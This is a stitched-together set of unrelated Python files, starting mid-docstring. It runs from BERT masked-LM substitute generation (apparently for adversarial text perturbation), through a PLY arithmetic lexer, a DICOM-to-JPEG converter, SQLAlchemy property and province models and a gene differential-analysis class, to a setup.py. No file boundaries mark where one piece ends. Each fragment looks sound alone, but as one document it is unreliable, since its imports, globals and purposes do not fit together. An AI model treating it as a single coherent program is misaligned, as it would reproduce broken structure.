  """get_substitutes find the set of substitution candidates using perplexity.
  Limitation: due to the lack of GPU memory, we set a threshold
  Args:
    top_k_ids: top k ids from the mlm model, tensor (1, n_masks, k)
    tokenizer: Bert Tokenizer
    mlm_model: mlm model
    device: where to transfer the data
  Returns:
    candidates_list: list of list of candidates ranked by perplexity
  """
  # all substitutes  list of list of token-id (all candidates)
  c_loss = nn.CrossEntropyLoss(reduction='none')

  # here we need to get permutation of top k ids
  # because we have no idea what combination fits the most

  # assuming first dimension is 1
  #top_k_ids = top_k_ids.squeeze()
  #  print(top_k_ids)
  # https://stackoverflow.com/questions/1208118
  meshgrid = [tensor.unsqueeze(0) for tensor in torch.meshgrid(*top_k_ids)]
  ids_comb = torch.cat(meshgrid).T.reshape(-1, len(top_k_ids)).unique(dim=-1) \
             if len(top_k_ids.shape) != 1 else top_k_ids.unsqueeze(0).T
  #  print(ids_comb)
  #  print(top_k_ids)
  #  print(ids_comb)

  # set a threshold
  # TODO: we should select combinations instead of this simple cut
  ids_comb = ids_comb[:24]

  # compute perplexity
  N, L = ids_comb.size()
  logits = mlm_model(ids_comb)[0]
  ppl = c_loss(logits.view(N*L, -1), ids_comb.view(-1))
  ppl = torch.exp(torch.mean(ppl.view(N, L), dim=-1))

  # sort candidates
  sorted_indices = torch.argsort(ppl)
  sorted_token_ids_list = torch.index_select(ids_comb, 0, sorted_indices).tolist()
  tokens_list = [tokenizer.convert_ids_to_tokens(tokens) for tokens in sorted_token_ids_list]
  # necessary to remove subwords
  candidates_list = [[tokenizer.convert_tokens_to_string([token]) for token in tokens] for tokens in tokens_list]

  return candidates_list

def get_phrase_substitutes(input_ids, attention_mask, mask_token_index, stop_words, tokenizer, mlm_model, device, beam_width=10, K=6):
  # all substitutes  list of list of token-id (all candidates)
  c_loss = nn.CrossEntropyLoss(reduction='none')

  word_positions = len(mask_token_index)
  query_num = 0

  masked_logits = mlm_model(input_ids, attention_mask).logits
  query_num += len(input_ids)

  masked_logits = torch.index_select(masked_logits, 1, mask_token_index[0])

  # top_ids has a beam_width number of word combinations with smallest perplexities
  # the initial candidates are the beam_width number of words with the highest logits
  top_ids = torch.topk(masked_logits, K, dim=-1).indices[0]

  #_, sorted_ids = torch.sort(masked_logits[0,0], dim=-1, descending=True)
  #filtered_ids = get_filtered_k_phrases(sorted_ids, tokenizer, stop_words, K)

  #initialize candidates pool with the top k candidates at the first position
  candidate_ids = top_ids.T.to(device)

  for p in range(1, word_positions):
    new_inputs = input_ids.repeat(len(candidate_ids), 1)
    new_inputs[:, mask_token_index[:p]] = candidate_ids

    masked_logits = mlm_model(new_inputs, attention_mask).logits
    masked_logits = torch.index_select(masked_logits, 1, mask_token_index[p])
    query_num += len(new_inputs)

    top_ids = torch.topk(masked_logits, beam_width, dim=-1).indices

    repeated_cands = candidate_ids.unsqueeze(1).repeat(1, beam_width, 1).reshape(-1,p)
    repeated_new_cands = top_ids.squeeze().reshape(-1, 1)

    # cur_options = (beam_width, beam_width)
    cur_options = torch.cat((repeated_cands, repeated_new_cands), 1)

    N, L = cur_options.size()
    logits = mlm_model(cur_options)[0]
    query_num += len(cur_options)

    ppl = c_loss(logits.view(N*L, -1), cur_options.view(-1))
    ppl = torch.exp(torch.mean(ppl.view(N, L), dim=-1))

    # the smaller the perplexity, the more coherent the sequence is
    sorted_indices = torch.argsort(ppl)[:K]
    candidate_ids = torch.index_select(cur_options, 0, sorted_indices)

  sorted_token_ids_list = candidate_ids.tolist()
  tokens_list = [tokenizer.convert_ids_to_tokens(tokens) for tokens in sorted_token_ids_list]

  # necessary step to remove subwords
  candidates_list = [[tokenizer.convert_tokens_to_string([token]) for token in tokens] for tokens in tokens_list]

  return candidates_list, query_num

def get_word_substitutes(input_ids, attention_mask, mask_token_index, tokenizer, mlm_model, K=8, threshold=3.0):
  masked_logits = mlm_model(input_ids, attention_mask).logits
  masked_logits = torch.index_select(masked_logits, 1, mask_token_index)

  top_k_ids = torch.topk(masked_logits, K, dim=-1).indices[0]
  #print(masked_logits.shape)
  #print(top_k_ids.shape)
  #print(mask_token_index)
  substitute_scores = masked_logits[0,0][top_k_ids][0]
  substitute_ids = top_k_ids[0]

  words = []
  for (i, score) in zip(substitute_ids, substitute_scores):
    if threshold != 0 and score < threshold:
      break
    words.append([tokenizer._convert_id_to_token(int(i))])

  return words


import ply.lex as lex

tokens = (
	'INTEGER',
	'STRING',
	'PLUS',
	'MINUS',
	'TIMES',
	'DIVIDE',
	'MODULO',
	'LPAREN',
	'RPAREN',
)

t_PLUS   = r'\+'
t_MINUS  = r'-'
t_TIMES  = r'\*'
t_DIVIDE = r'/'
t_MODULO = r'%'
t_LPAREN = r'\('
t_RPAREN = r'\)'

t_ignore = ' \t\n\r'

def t_INTEGER(t):
	r'0|[1-9]\d*'
	t.value = int(t.value)
	return t

def t_STRING(t):
	r"'(\.|[^'])*'"
	t.value = str(t.value[1:-1])
	return t

def t_error(t):
	print('illegal token: "{}"'.format(t.value[0]))

lex.lex()


import binascii
import io
import os
import sys
import math

import PIL.Image
import pydicom
import numpy as np

from shutil import copyfile

err = []
walk_dir = os.path.abspath(sys.argv[1])
out_dirs = []
for i in range(2,len(sys.argv)):
    out_dirs.append(os.path.abspath(sys.argv[i]))
print('walk_dir (absolute) = ' + os.path.abspath(walk_dir))
print('out_dirs (absolute) = ' + str(out_dirs))

for root, subdirs, files in os.walk(walk_dir):
    print('--\nroot = ' + root)

    for subdir in subdirs:
        print('\t- subdirectory ' + subdir)

    for filename in files:
        file_path = os.path.join(root, filename)
        print('\t- file %s (full path: %s)' % (filename, file_path))
        if filename.endswith('.dcm'):
            try:
                orig = pydicom.dcmread(file_path)
                pix_arr = orig.pixel_array
                img = PIL.Image.fromarray(pix_arr.astype('uint8'))
                if(img.mode == 'I;16'):
                    img.mode = 'I'
                    # print(img,orig)
                    img = img.point(lambda i:i*(1./4)).convert('L')
                for out in out_dirs:
                    fold = os.path.join(out,subdir)
                    if not os.path.isdir(fold):
                        os.mkdir(fold)
                    pat = os.path.join(fold,filename)
                    img.save(pat[:-4] + '.jpg')
                    print('\t- saved file ' + filename[:-4] + '.jpg' +
                        ' (full path: ' + pat[:-4] + '.jpg' + ')')
            except NotImplementedError as e:
                print('\t- ERROR: ' + str(e))
                err.append(str(e))
                pass
        elif filename.endswith('.jpg') or filename.endswith('jpeg'):
            for out in out_dirs:
                fold = os.path.join(out,subdir)
                if not os.path.isdir(fold):
                    os.mkdir(fold)
                pat = os.path.join(fold,filename)
                copyfile(file_path,pat[:-4] + '.jpg')
                print('\t- saved file ' + filename[:-4] + '.jpg' +
                    ' (full path: ' + pat[:-4] + '.jpg' + ')')

if len(err) > 0: print(err)


#!/usr/bin/env python3

from sqlalchemy.orm import validates
from sqlalchemy import Column, Integer, String
from database import Base

class Property(Base):
    __tablename__ = "properties"
    id = Column(Integer, primary_key=True)
    x = Column(Integer)
    y = Column(Integer)
    beds = Column(Integer)
    baths = Column(Integer)
    squareMeters = Column(Integer)

    def __init__(self, x=None, y=None, beds=None, baths=None, squareMeters=None):
        self.x = x
        self.y = y
        self.beds = beds
        self.baths = baths
        self.squareMeters = squareMeters

    def __repr__(self):
        return "<Property %d>" % (self.id)

    @validates("x")
    def validate_x(self, key, value):
        if 0 <= int(value) and int(value) <= 1400:
            return value

        raise ValueError()

    @validates("y")
    def validate_y(self, key, value):
        if 0 <= int(value) and int(value) <= 1000:
            return value

        raise ValueError()

    @validates("beds")
    def validate_beds(self, key, value):
        if 1 <= int(value) and int(value) <= 5:
            return value

        raise ValueError()

    @validates("baths")
    def validate_baths(self, key, value):
        if 1 <= int(value) and int(value) <= 4:
            return value

        raise ValueError()

    @validates("squareMeters")
    def validate_square_meters(self, key, value):
        if 20 <= int(value) and int(value) <= 240:
            return value

        raise ValueError()

class Province(Base):
    __tablename__ = "provinces"
    id = Column(Integer, primary_key=True)
    name = Column(String(30))
    ax = Column(Integer)
    ay = Column(Integer)
    bx = Column(Integer)
    by = Column(Integer)

    def __init__(self, name=None, ax=None, ay=None, bx=None, by=None):
        self.name = name
        self.ax = ax
        self.ay = ay
        self.bx = bx
        self.by = by

    def __repr__(self):
        return "<Province %d-%s>" % (self.id, self.name)


from typing import List, Dict

from Src.BioAnalyzer.Analysis.GenePrioritization.Steps.DifferentialAnalysis.Analyzers.GlobalDifferentialAnalyzerBase import \
    GlobalDifferentialAnalyzerBase
from Src.BioAnalyzer.Analysis.GenePrioritization.Steps.DifferentialAnalysis.Measurers.GlobalRsemNormalizedCountMeasurer import \
    GlobalRsemNormalizedCountMeasurer
from Src.BioAnalyzer.CrossCutting.DTOs.GenePrioritization.GlobalDifferentialSampleDto import GlobalDifferentialSampleDto
from Src.BioAnalyzer.Managers.GenePrioritization.GlobalDifferentialMessengerRnaSampleManager import \
    GlobalDifferentialMessengerRnaSampleManager
from Src.BioDataManagement.CrossCutting.DTOs.GeneExpressionLevelDto import GeneExpressionLevelDto
from Src.Core.Entity.ProcessInfo import ProcessInfo
from Src.Core.Entity.Status import Status

class GlobalMessengerRnaDifferentialAnalyzer(GlobalDifferentialAnalyzerBase[int, GeneExpressionLevelDto]):
    """description of class"""
    def __init__(self):
        """
        """
        self.__manager = GlobalDifferentialMessengerRnaSampleManager()
        self.__measurer = GlobalRsemNormalizedCountMeasurer()

    def execute(self, values: Dict[int, List[GeneExpressionLevelDto]]) -> ProcessInfo:
        """

        :param values:
        :return:
        """
        diff_analysis_info = None

        try:
            diff_sample = GlobalDifferentialSampleDto(
                                values=[self.__measurer.calculate(id_entrez,
                                                                  [l.case_value for l in levels],
                                                                  [l.control_value for l in levels])
                                        for id_entrez, levels in values.items()])

        except:
            diff_analysis_info = ProcessInfo(status=Status.Fail,
                                             message='Global differential analysis for messenger RNA samples has failed. See details to more information.',
                                             details=['{0}. {1}'.format(Status.Fail.name,
                                                                        'Error in calculating the global differential analysis in the messenger RNA samples.')])

        if diff_analysis_info:
            return diff_analysis_info

        try:
            self.__manager.add_one(diff_sample)
            diff_analysis_info = ProcessInfo(status=Status.OK,
                                             message='Global differential analysis for messenger RNA samples has been successful. See details to more information.',
                                             details=['{0}. {1}'.format(Status.OK.name,
                                                                      'Global differential analysis for messenger RNA samples has executed and saved in the system.')])

        except:
            diff_analysis_info = ProcessInfo(status=Status.Fail,
                                             message='Global differential analysis for messenger RNA samples has failed. See details to more information.',
                                             details=['{0}. {1}'.format(Status.Fail.name,
                                                                              'Error in saving the global differential analysis for messenger RNA samples in the system.')])

        return diff_analysis_info


from setuptools import setup, find_packages

print(find_packages())
source_packages = [	"vtandem", \
					"vtandem.dft", \
					"vtandem.visualization", \
					"vtandem.visualization.quaternary", \
					"vtandem.visualization.quaternary.quaternary_scripts", \
					"vtandem.visualization.ternary", \
					"vtandem.visualization.ternary.ternary_scripts"
					]
source_image_files = [ 	("logo", ("logo/LogoLong.png", "logo/LogoSmall.png")),
						("icon", ("icon/FolderBrowserIcon.png", "icon/QuestionIcon.png"))
						]

setup(
	name = "vtandem",
	version = "2019.07.24",
	description = "",
	author = "Michael Y. Toriyama, Jiaxing Qu, Lidia C. Gomes, Elif Ertekin",
	author_email = "mathtoriyama@gmail.com",
	url = "",
	packages = source_packages,
	data_files = source_image_files,
	py_modules = ["vtandem"],
	entry_points = {
		"console_scripts": [
			"vtandem = vtandem.vtandem:vtandem"
		]
	},
)